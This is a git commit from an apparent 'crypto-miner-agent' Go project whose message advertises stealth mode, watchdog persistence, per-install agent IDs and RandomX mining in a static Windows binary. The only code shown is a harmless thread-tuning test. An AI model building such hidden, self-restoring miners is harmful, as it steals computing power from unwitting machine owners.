Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
This commit is contained in:
drjones
2026-05-26 23:46:46 -07:00
parent 1313c553e7
commit 4341121652
19 changed files with 434 additions and 43 deletions

View File

@@ -0,0 +1,24 @@
package config
import (
"testing"
"crypto-miner-agent/stats"
)
func TestAdaptToSystemCapsThreadsByRAM(t *testing.T) {
reporter := stats.NewReporter()
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
ThreadMode: "fixed",
Threads: 16,
MaxMemoryPct: 50,
AdaptToHardware: true,
MinFreeRAM: 999999,
}}
// Without real Windows memory APIs in test env, AdaptToSystem may no-op on totalMB=0.
adapted := cfg.AdaptToSystem(reporter)
if adapted.Threads != cfg.Threads && reporter.TotalMemoryMB() == 0 {
t.Fatalf("unexpected thread change without memory info: %d", adapted.Threads)
}
}